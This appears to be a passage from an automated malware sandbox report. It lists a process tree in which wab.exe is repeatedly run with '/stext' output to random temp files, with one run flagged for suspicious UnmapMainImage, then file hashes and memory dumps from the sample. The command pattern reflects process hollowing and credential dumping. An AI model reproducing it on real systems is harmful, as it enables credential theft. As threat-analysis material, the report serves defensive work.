C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ldrupbjdlmzglpipnzetjileqkdtrxg"
5⤵
PID:4720

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4720 -s 12
6⤵
- Program crash
PID:1176

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\fsflladpziezxqmvolsm"
5⤵
PID:440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 440 -s 12
6⤵
- Program crash
PID:2536

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\qmlemsornrwezeazxwenkwj"
5⤵
PID:3848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3848 -s 12
6⤵
- Program crash
PID:1392

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\spypnkzkjzorkkxdogzhvbdmlj"
5⤵
PID:4200

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4200 -s 12
6⤵
- Program crash
PID:820

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\mwmojjtwwvskwlb"
5⤵
PID:4892

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4892 -s 12
6⤵
- Program crash
PID:604

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\xyzzkcepkdkpyrpnzv"
5⤵
PID:2060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2060 -s 12
6⤵
- Program crash
PID:2332

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\hserkuprylcuixdrigmvy"
5⤵
PID:1056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1056 -s 12
6⤵
- Program crash
PID:2448

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\chsjhbbcmi"
5⤵
PID:3368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 12
6⤵
- Program crash
PID:756

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ejgbiluwaqysx"
5⤵
PID:3992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 12
6⤵
- Program crash
PID:3720

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\odlmieeywyrfhtsn"
5⤵
PID:2944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2944 -s 12
6⤵
- Program crash
PID:416

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\tnmwfdbd"
5⤵
PID:1272

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1272 -s 12
6⤵
- Program crash
PID:3916

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\eprogvmellf"
5⤵
PID:3208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3208 -s 12
6⤵
- Program crash
PID:2864

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\gjxhhgxyztxuiuv"
5⤵
- Suspicious use of UnmapMainImage
PID:2132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2132 -s 12
6⤵
- Program crash
PID:1496

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\bytydmrjnqtouvzsolorgbokvoumxkrppr"
5⤵
PID:2300

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2300 -s 12
6⤵
- Program crash
PID:4968

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\lsyjefc"
5⤵
PID:528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 528 -s 12
6⤵
- Program crash
PID:3396

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\vudcfxnfxg"
5⤵
PID:4268

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4268 -s 12
6⤵
- Program crash
PID:1012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4016 -ip 4016
1⤵
PID:1676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3028 -ip 3028
1⤵
PID:1700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1720 -ip 1720
1⤵
PID:4076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 372 -ip 372
1⤵
PID:3044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4484 -ip 4484
1⤵
PID:3916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4648 -ip 4648
1⤵
PID:1108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2168 -ip 2168
1⤵
PID:2320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 1860 -ip 1860
1⤵
PID:2260

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4124 -ip 4124
1⤵
PID:620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4024 -ip 4024
1⤵
PID:3000

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 344 -ip 344
1⤵
PID:2244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3516 -ip 3516
1⤵
PID:1036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 1728 -ip 1728
1⤵
PID:3892

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 856 -ip 856
1⤵
PID:4028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4720 -ip 4720
1⤵
PID:2124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 440 -ip 440
1⤵
PID:908

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 3848 -ip 3848
1⤵
PID:2208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4200 -ip 4200
1⤵
PID:4464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4892 -ip 4892
1⤵
PID:1836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 2060 -ip 2060
1⤵
PID:4884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1056 -ip 1056
1⤵
PID:1208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3368 -ip 3368
1⤵
PID:1700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 3992 -ip 3992
1⤵
PID:2544

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 2944 -ip 2944
1⤵
PID:2388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1272 -ip 1272
1⤵
PID:3816

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 3208 -ip 3208
1⤵
PID:2888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 2132 -ip 2132
1⤵
PID:2308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2300 -ip 2300
1⤵
PID:1372

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 528 -ip 528
1⤵
PID:4424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 4268 -ip 4268
1⤵
PID:4648

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jcui2abp.lgi.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Salturternes.Gev
Filesize
459KB

MD5
6ef66957717bc15ae76851390564ca9c

SHA1
5bb6373bcaecfaa6a584185d9c0980cdb9860611

SHA256
391996b3a8b0a6ad1aac1fb9834fb1b266d009733e6c1e8c7684f213de528716

SHA512
3f5febee655e3cd58f73fef4e24b0526469c777555dfc027ab9634e46439d24ce11cc97d64af0d2c8affcade2b34058304b12687d0ac6eb419e80130da219a71

Download Submit
memory/1052-89-0x0000000000D40000-0x0000000000D59000-memory.dmp

Filesize
100KB

Download
memory/1052-46-0x0000000002260000-0x0000000003BE3000-memory.dmp

Filesize
25.5MB

Download
memory/1052-92-0x0000000000D40000-0x0000000000D59000-memory.dmp

Filesize
100KB

Download
memory/1052-93-0x0000000000D40000-0x0000000000D59000-memory.dmp

Filesize
100KB

Download
memory/1720-51-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2500-16-0x00007FFFF3350000-0x00007FFFF3E11000-memory.dmp

Filesize
10.8MB

Download
memory/2500-4-0x00007FFFF3353000-0x00007FFFF3355000-memory.dmp

Filesize
8KB

Download
memory/2500-15-0x00007FFFF3350000-0x00007FFFF3E11000-memory.dmp

Filesize
10.8MB

Download
memory/2500-49-0x00007FFFF3350000-0x00007FFFF3E11000-memory.dmp

Filesize
10.8MB

Download
memory/2500-10-0x00000117EF320000-0x00000117EF342000-memory.dmp

Filesize
136KB

Download
memory/2500-44-0x00007FFFF3350000-0x00007FFFF3E11000-memory.dmp

Filesize
10.8MB

Download
memory/2500-43-0x00007FFFF3353000-0x00007FFFF3355000-memory.dmp

Filesize
8KB

Download
memory/3028-52-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4016-53-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4372-21-0x0000000004C80000-0x0000000004CA2000-memory.dmp

Filesize
136KB

Download
memory/4372-40-0x0000000007BA0000-0x0000000008144000-memory.dmp

Filesize
5.6MB

Download
memory/4372-39-0x0000000006DE0000-0x0000000006E02000-memory.dmp

Filesize
136KB

Download
memory/4372-42-0x0000000008150000-0x0000000009AD3000-memory.dmp

Filesize
25.5MB

Download
memory/4372-38-0x0000000006EA0000-0x0000000006F36000-memory.dmp

Filesize
600KB

Download
memory/4372-37-0x0000000006120000-0x000000000613A000-memory.dmp

Filesize
104KB

Download
memory/4372-36-0x0000000007520000-0x0000000007B9A000-memory.dmp

Filesize
6.5MB

Download
memory/4372-35-0x0000000005BE0000-0x0000000005C2C000-memory.dmp

Filesize
304KB

Download
memory/4372-34-0x0000000005BA0000-0x0000000005BBE000-memory.dmp

Filesize
120KB

Download
memory/4372-33-0x00000000055D0000-0x0000000005924000-memory.dmp

Filesize
3.3MB

Download
memory/4372-23-0x00000000054E0000-0x0000000005546000-memory.dmp

Filesize
408KB

Download
memory/4372-22-0x0000000005470000-0x00000000054D6000-memory.dmp

Filesize
408KB

Download
memory/4372-20-0x0000000004DD0000-0x00000000053F8000-memory.dmp

Filesize
6.2MB

Download
memory/4372-19-0x00000000021F0000-0x0000000002226000-memory.dmp

Filesize
216KB

Download